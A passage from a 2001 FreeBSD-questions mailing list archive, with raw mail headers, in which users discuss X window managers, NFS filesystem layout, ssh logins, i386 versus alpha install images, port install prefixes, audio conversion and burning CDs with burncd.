that I > won't see too many other hands going up. Aye sir... /me raises hand But please try to keep non technical topics like this one on chat@freebsd.org :) -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:57:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id C413637B41B for ; Wed, 21 Nov 2001 12:57:14 -0800 (PST) Received: from hades.hell.gr (patr530-a071.otenet.gr [212.205.215.71]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fALKv9024816; Wed, 21 Nov 2001 22:57:09 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fALCpsg63199; Wed, 21 Nov 2001 14:51:54 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 14:51:53 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: Kutulu , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121125152.GB59861@hades.hell.gr> References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> <012801c171b6$845a9500$0a00000a@atkielski.com> <013f01c171c7$6ffcbeb0$88682518@longhill1.md.home.com> <002f01c171d0$5e05cfe0$0a00000a@atkielski.com> <02b501c171de$93484530$88682518@longhill1.md.home.com> <009f01c171ff$52f176c0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <009f01c171ff$52f176c0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 21:09:49, Anthony Atkielski wrote: > Kutulu writes: > > Unfortunately, XWin32 runs about $250 for a > > single user lisence. > > Bzzzt! Call me stubborn, but I see something very odd in paying a dozen times > more for a client program than I paid for the entire operating system on the > server _and_ client combined. It's the way the commercial world works. You don't set the price. The maker makes it. If you don't like it, you're not stubborn, just unlucky. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13: 1:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 7510D37B418 for ; Wed, 21 Nov 2001 13:01:47 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 0FBC0BCDC; Wed, 21 Nov 2001 13:01:47 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA02899; Wed, 21 Nov 2001 13:01:46 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fALKxkT74862; Wed, 21 Nov 2001 12:59:46 -0800 (PST) (envelope-from swear@blarg.net) To: "Anthony Atkielski" Cc: Subject: Re: home pc use References: <00a601c17202$0f9af880$0a00000a@atkielski.com> <200111202228.47120@starbreaker.net> <005701c17289$446b6720$0a00000a@atkielski.com> From: swear@blarg.net (Gary W. Swearingen) Date: 21 Nov 2001 12:59:45 -0800 In-Reply-To: <005701c17289$446b6720$0a00000a@atkielski.com> Message-ID: Lines: 45 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Anthony Atkielski" writes: > What's bare about a console? It doesn't have lots of useful stuff on it. It doesn't have the right one inch of the screen showing info on CPU, memory, or other info that can be displayed. It doesn't have a column of buttons in that one inch which show me most of my running applications and allow me to switch between them. It doesn't have a little map in that one inch which allows me to notice instantly which of several "desktops" I'm currently using and to switch between them. It doesn't allow me to pop up menus of operations from three mouse buttons used on various sections of the screen. (Well a console with enabled mouse can do some of that.) It doesn't allow me to have a stack of large bare-console-sized X application windows among which I can switch quickly. It doesn't allow me to run XEmacs or a good web browser. X with the fvwm 2.x window manager (or others) aren't so bare. Anthony, you are REALLY going to kick yourself when you learn to compromise in your Windows vs. Unix mentality and stop restricting yourself to ONLY a command line in FreeBSD. CLI is better than GUI for very many things (like almost anything you do very often - even navigating between windows which I do more often than not (well, not CLI, but keys)), but GUI is better for others (like when using menus for unmemorized commands). Give X a much more serious try out than you have. Don't use GNOME or KDE to start with, since they have so much to learn about and give you things to gripe about. I've only used fvwm (fvwm2) since using KDE and trying several WM a year or two ago. I think many are slicker than fvwm, and a few are simpler but I think it has a good balance of features and fairly decent documentation. You normally do all configuration in one file. You start with an example or someone else's and it's easy enough to learn how to modify. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13: 3:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 073B037B416 for ; Wed, 21 Nov 2001 13:03:18 -0800 (PST) Received: (qmail 96811 invoked by uid 100); 21 Nov 2001 21:03:28 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.5792.940318.744392@guru.mired.org> Date: Wed, 21 Nov 2001 15:03:28 -0600 To: "Graham Lillico" Cc: questions@freebsd.org Subject: Re: Filesystem Sizes In-Reply-To: <27084310@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Graham Lillico types: > So what i'm now thinking is to have the 80Gb filesystem (2x40Gb Hardware > raid) mounted as /usr on the fileserver and then nfs export /usr/ports, > /usr/src, and /usr/obj to the other FreeBSD systems, then on the 20Gb disc > that contains the system have about 10Gb exported as /usr/home. > > Does this sounds like a good plan? Or am I letting myself in for some > problems? Well, it seems like an aweful lot of space for /usr. There are three potential problems: 1) All three directories will have to be exported with the same permissions; 2) If you wind up running different platforms, you'll have to build ports/system for them differently; 3) Installing a port on one system will make the other systems thing it's not installed. Personally, I'd do it this way: 1 drive: / 1 drive: /share 1 drive: /home 20GB should be enough space for any of those, unless you're planning on doing something very strange. If you're using IDE, / and /share need to be on different controllers. Putting /home on a third controller won't hurt. /share is exported r/w to the world. /usr/obj is symlinked to /share/obj. /usr/src and /usr/ports are on /, exported r/o. This lets you make buildworld on the system with local disk, and make installworld on other systems that mount /usr/src and /shar and have the /usr/obj symlink. Putting /usr/obj and /usr/src on different disks/controllers improves buildworld performance more than putting them on vinum. You can do the same for kernels if you set KERNCONF=BUILDKERNEL OTHERSYSTEM THIRDSYSTEM in /etc/make.conf. All the kernels will be built by make buildkernel, and the first one on the line will be installed by make installkernel. In /etc/make.conf, you have DISTDIR=/share/distfiles, WRKDIRPEFIX=/usr/ports-build, and PACKAGES=/share/packages. This lets systems share distfiles that have been downloaded and the /usr/ports tree, and avoids the problems of conflicting builds. If you want to distribute a port to multiple system, do "make package" after you've installed it, and the other systems will get the the package from /share/packages. One of these days, I have to write all this stuff up formally. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13: 6:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 0F6D837B405 for ; Wed, 21 Nov 2001 13:06:17 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fALL56c77259; Wed, 21 Nov 2001 15:05:06 -0600 (CST) (envelope-from dan) Date: Wed, 21 Nov 2001 15:05:05 -0600 From: Dan Nelson To: Eugene Bartok Cc: freebsd-questions@FreeBSD.ORG Subject: Re: how do disable autologin with ssh Message-ID: <20011121210505.GA7544@dan.emsphone.com> References: <20011121150630.A939@metrotel.net.co> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011121150630.A939@metrotel.net.co> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 21), Eugene Bartok said: > hi, i want to know how to disable auto login on ssh on freebsd > -stable? I am looking for the same option as telnet -K. I did no find > anything on man page. That's not possible, since in addition to simply encrypting the connection, ssh authenticates the user during login. You must pass a username to ssh, or it won't authenticate you. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13: 8: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from Ra.MsState.Edu (Ra.MsState.Edu [130.18.80.10]) by hub.freebsd.org (Postfix) with ESMTP id E03DD37B405 for ; Wed, 21 Nov 2001 13:08:01 -0800 (PST) Received: from localhost (aja2@localhost); by Ra.MsState.Edu (8.11.6/8.10.2/ra_1.18) with ESMTP; id fALL7qZ11656 for ; Wed, 21 Nov 2001 15:07:52 -0600 (CST) Date: Wed, 21 Nov 2001 15:07:51 -0600 (CST) From: AJ Adams To: freebsd-questions@FreeBSD.ORG Subject: alpha vs i386 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am a newbie with any other operating systems other than Windows. I am tired of using windows. I read an article in PC Magazine, the November issue and saw that FreeBSD is an excellent choice. My question is, what is the difference between alpha and i386? I read the documentations on how to install it...great docs. As of right now, I have download 4.4 iso images (all 5 images) from the i386 folder on ftp2. I hope that is correct when factoring in the components of my computer. Could you please let me know if I am downloading the correct installation? Do I need alpha or i386? My specs are listed below. AMD 650, 751 Chipset mobo. 128 ECC Corsair mem maxtor 20 GB. modem = can you recommend one? i don't have one yet. ethernet card = smc1211 tx and smc 8432T viper v770 AGP 2X/4X SB Live Value creative 52x ide Aopen 20x10x40 CDRW, ide. my OS's are 2000 Professional and XP Professional. I could really use some help...please. Thanks, AJ Adams To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13: 8:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 2D55437B417 for ; Wed, 21 Nov 2001 13:08:30 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fALL8Mh85682; Wed, 21 Nov 2001 15:08:22 -0600 (CST) (envelope-from dan) Date: Wed, 21 Nov 2001 15:08:21 -0600 From: Dan Nelson To: Eugene Bartok Cc: freebsd-questions@FreeBSD.ORG Subject: Re: how do disable autologin with ssh Message-ID: <20011121210821.GB7544@dan.emsphone.com> References: <20011121150630.A939@metrotel.net.co> <20011121210505.GA7544@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011121210505.GA7544@dan.emsphone.com> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 21), Dan Nelson said: > In the last episode (Nov 21), Eugene Bartok said: > > hi, i want to know how to disable auto login on ssh on freebsd > > -stable? I am looking for the same option as telnet -K. I did no find > > anything on man page. > > That's not possible, since in addition to simply encrypting the > connection, ssh authenticates the user during login. You must pass a > username to ssh, or it won't authenticate you. .. and just after I hit send, I realized that what you might actually have meant to ask is "How do I log into another machine using ssh, but with a different username?" The answer: "ssh user@hostname". -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:12:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 8F99437B41C for ; Wed, 21 Nov 2001 13:12:48 -0800 (PST) Received: (qmail 96952 invoked by uid 100); 21 Nov 2001 21:13:08 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.6372.508616.392204@guru.mired.org> Date: Wed, 21 Nov 2001 15:13:08 -0600 To: "Bara Zani" Cc: questions@freebsd.org Subject: Re: /usr/ports question In-Reply-To: <66548662@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bara Zani types: > Hi , > I want to change the default install options of a certain port , how can i > do that ? If you're talking about location, use PREFIX. That's the top of the tree for installs, so binariexz go in $PREFIX/bin, man pages in $PREFIX/man, and so on. However, changing the PREFIX for just one port isn't very safe - you really should make them *all* install with the same PREFIX, which you do by setting LOCALBASE in /etc/make.conf. Even then, some ports will break for one reason or another because they don't handle the change properly. > for example i want bash2 port to install to /bin and not /usr/local/bin > thanks . # cd /usr/ports/shells/bash2 # PREFIX=/ make clean install In the case of bash2, it's best just to copy - or link, if the two are on the same file system - the binary to /bin. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:14:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id BFC8637B422 for ; Wed, 21 Nov 2001 13:14:06 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fALLDHh06483; Wed, 21 Nov 2001 22:13:18 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <00fe01c172d1$5846f0a0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> <012801c171b6$845a9500$0a00000a@atkielski.com> <013f01c171c7$6ffcbeb0$88682518@longhill1.md.home.com> <002f01c171d0$5e05cfe0$0a00000a@atkielski.com> <02b501c171de$93484530$88682518@longhill1.md.home.com> <009f01c171ff$52f176c0$0a00000a@atkielski.com> <20011121125152.GB59861@hades.hell.gr> Subject: Re: home pc use Date: Wed, 21 Nov 2001 22:12:43 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Giorgos writes: > It's the way the commercial world works. You > don't set the price. The maker makes it. If > you don't like it, you're not stubborn, just > unlucky. And the vendor is out several hundred dollars. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:16:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id EB35537B417 for ; Wed, 21 Nov 2001 13:16:20 -0800 (PST) Received: (qmail 97033 invoked by uid 100); 21 Nov 2001 21:16:40 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.6584.280400.155891@guru.mired.org> Date: Wed, 21 Nov 2001 15:16:40 -0600 To: "Jeremiah Gowdy" Cc: questions@freebsd.org Subject: Re: Audio conversion In-Reply-To: <68919786@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jeremiah Gowdy types: > I need to convert vox files generated by a voicemail system to wav, and then > encode the wav files into MP3. I'm pretty sure I can setup the wav-mp3 > conversion, but I can't find anything that will convert vox to wav under > FreeBSD. Does anyone know of such a tool, even perhaps a linux tool I could > use ? It must be text-only, it's going to run from a script. I don't know what the vox format is, but if you've got the details, you could probably coerce sox into doing the job. > I am no longer subscribed to -questions, so if could could include > data@dualcpus.com in the reply, I would appreciate it. SOP for this list. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:18:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freyr.cba.ualr.edu (freyr.cba.ualr.edu [144.167.120.20]) by hub.freebsd.org (Postfix) with ESMTP id 785AB37B416 for ; Wed, 21 Nov 2001 13:18:08 -0800 (PST) Received: (from joe@localhost) by freyr.cba.ualr.edu (8.11.6/8.11.6) id fALLHQE00893; Wed, 21 Nov 2001 15:17:26 -0600 (CST) (envelope-from joe) Date: Wed, 21 Nov 2001 15:17:26 -0600 From: "Joseph E. Royce" To: AJ Adams Cc: freebsd-questions@FreeBSD.ORG Subject: Re: alpha vs i386 Message-ID: <20011121151726.A824@freyr.cba.ualr.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from aja2@ra.msstate.edu on Wed, Nov 21, 2001 at 03:07:51PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 03:07:51PM -0600, AJ Adams wrote: > I am a newbie with any other operating systems other than Windows. I am > tired of using windows. I read an article in PC Magazine, the November > issue and saw that FreeBSD is an excellent choice. My question is, what > is the difference between alpha and i386? I read the documentations on > how to install it...great docs. As of right now, I have download 4.4 iso > images (all 5 images) from the i386 folder on ftp2. I hope that is > correct when factoring in the components of my computer. > Could you please let me know if I am downloading the correct installation? > Do I need alpha or i386? My specs are listed below. > > Yes, you are downloading the correct ones. i386 is for the Intel or AMD processors, which is what you have. The alpha port of FreeBSD is for 64 bit Alpha processor. -Joe R. > AMD 650, 751 Chipset mobo. > 128 ECC Corsair mem > maxtor 20 GB. > modem = can you recommend one? i don't have one yet. > ethernet card = smc1211 tx and smc 8432T > viper v770 AGP 2X/4X > SB Live Value > creative 52x ide > Aopen 20x10x40 CDRW, ide. > my OS's are 2000 Professional and XP Professional. > > I could really use some help...please. > > Thanks, > > AJ Adams > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:18:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from y3k.shacknet.nu (ts5m-pool0-73.gti.net [208.216.126.73]) by hub.freebsd.org (Postfix) with ESMTP id 2A21337B417 for ; Wed, 21 Nov 2001 13:18:21 -0800 (PST) Received: from shacknet.nu (localhost.gti.net [127.0.0.1]) by y3k.shacknet.nu (8.11.6/8.11.6) with SMTP id fAKLPGY04370; Tue, 20 Nov 2001 16:25:17 -0500 (EST) (envelope-from y3k@gti.net) Received: from 208.216.126.73 (SquirrelMail authenticated user mark) by y3k.shacknet.nu with HTTP; Tue, 20 Nov 2001 16:25:18 -0500 (EST) Message-ID: <3712.208.216.126.73.1006291518.squirrel@y3k.shacknet.nu> Date: Tue, 20 Nov 2001 16:25:18 -0500 (EST) Subject: Re: Sqwebmail Installed - What Now? From: "Mark Yeck" To: drew@mykitchentable.net In-Reply-To: <005201c172c4$ceb9e3d0$962a6ba5@lc.ca.gov> References: <005201c172c4$ceb9e3d0$962a6ba5@lc.ca.gov> Cc: questions@freebsd.org X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I just wanted a webmail client. I will take a look at squirrelmail as > well. Do you know of any special web tutorials beyond the obvious > squirrelmail.org? I dont know of any tutorials, but the info on squirrelmail.org is pretty good. they have a menu based configuration with a thing like "select your imap server: 1)UW-IMAP, 2)Cyrus, 3)Courier" or something like that. Actually, that's not exactly what it says, but its close. You need to have mod_php, too, which isnt too hard. If you have any problems, I can probably help, but I'm going to be away for the next several days. -mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:18:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts8-srv.bellnexxia.net (tomts8.bellnexxia.net [209.226.175.52]) by hub.freebsd.org (Postfix) with ESMTP id 6EEA137B41B for ; Wed, 21 Nov 2001 13:18:26 -0800 (PST) Received: from prayforwind.com ([199.243.144.159]) by tomts8-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP id <20011121211825.IPCH13234.tomts8-srv.bellnexxia.net@prayforwind.com>; Wed, 21 Nov 2001 16:18:25 -0500 From: Steve Brown Date: Wed, 21 Nov 2001 21:28:11 GMT Message-ID: <20011121.21281100@prayforwind.com> Subject: Re: ide-scsi emulation To: Phil R Cc: freebsd-questions@freebsd.org In-Reply-To: <3BFC10D2.4070603@sympatico.ca> References: <3BFC10D2.4070603@sympatico.ca> X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Assuming you're trying to burn CD's on an internal IDE CD-RW, this ain't= =20 Linux, so you dont. Use "burncd", not "cdrecord". "dmesg | grep CD" will hopefully show you = you're CD-RW after booting, make sure you can mount, read, umount a CD=20 and record the device "/dev/acd0c" or something simular (it will show in= =20 /etc/fstab if the drive was there when you installed it). Man burncd for the syntax. You should be able to just burn away; nothing= =20 to configure or anything. (do -not- mount it to burn). See: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/creating-cds.h= tml See http://freebsd.dk/ata/ for a list of supported CD-RW Good luck! - Steve >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 11/21/01, 3:38:42 PM, Phil R wrote regarding=20 ide-scsi emulation: > How to enable ide-scsi emulation in FreeBSD 4.3 > that i can use > #cdrecord -scanbus? > Thanks folks! > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:24:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail36.sdc1.sfba.home.com (femail36.sdc1.sfba.home.com [24.254.60.26]) by hub.freebsd.org (Postfix) with ESMTP id 91C0B37B41A for ; Wed, 21 Nov 2001 13:24:04 -0800 (PST) Received: from vhds001 ([24.78.12.247]) by femail36.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011121212358.OLCQ22911.femail36.sdc1.sfba.home.com@vhds001>; Wed, 21 Nov 2001 13:23:58 -0800 Message-ID: <02c101c172d3$22bcd0b0$090ea8c0@vhds001> Reply-To: "Justin P. Michel" From: "Justin P. Michel" To: "AJ Adams" , References: Subject: Re: alpha vs i386 Date: Wed, 21 Nov 2001 16:26:07 -0500 Organization: Continuum MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG AJ, You have got the right one. i386 is for CPU's based on the 32-bit architecture (i386 is back from the Intel 80386 CPU days which is the first 32 bit processor that Linux/BSD worked on) from the Intel/AMD/Cyrix 80386 up to the new Intel P4 and AMD XP. Alpha is a separate CPU line, that I honestly don't know too much about. :) As for a modem, anything that is not a win-modem class modem should work nicely. I also have an AMD based system running FBSD 4.4 - RELEASE, and it's working great. Regards, Justin P. Michel J Continuum ----- Original Message ----- From: "AJ Adams" To: Sent: Wednesday, November 21, 2001 4:07 PM Subject: alpha vs i386 > I am a newbie with any other operating systems other than Windows. I am > tired of using windows. I read an article in PC Magazine, the November > issue and saw that FreeBSD is an excellent choice. My question is, what > is the difference between alpha and i386? I read the documentations on > how to install it...great docs. As of right now, I have download 4.4 iso > images (all 5 images) from the i386 folder on ftp2. I hope that is > correct when factoring in the components of my computer. > Could you please let me know if I am downloading the correct installation? > Do I need alpha or i386? My specs are listed below. > > > AMD 650, 751 Chipset mobo. > 128 ECC Corsair mem > maxtor 20 GB. > modem = can you recommend one? i don't have one yet. > ethernet card = smc1211 tx and smc 8432T > viper v770 AGP 2X/4X > SB Live Value > creative 52x ide > Aopen 20x10x40 CDRW, ide. > my OS's are 2000 Professional and XP Professional. > > I could really use some help...please. > > Thanks, > > AJ Adams > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:25:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id 76FB737B417 for ; Wed, 21 Nov 2001 13:25:45 -0800 (PST) Received: from colt.ncptiddische.net (ppp-146.wobline.de [212.68.69.154]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fALLPcN25228; Wed, 21 Nov 2001 22:25:39 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fALLQPt27170; Wed, 21 Nov 2001 22:26:25 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fALLQWq06766; Wed, 21 Nov 2001 22:26:32 +0100 (CET) (envelope-from nils@tisys.org) Date: Wed, 21 Nov 2001 22:26:32 +0100 (CET) From: Nils Holland To: Phil R Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ide-scsi emulation In-Reply-To: <3BFC10D2.4070603@sympatico.ca> Message-ID: <20011121222441.G6761-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Phil R wrote: > How to enable ide-scsi emulation in FreeBSD 4.3 > that i can use > #cdrecord 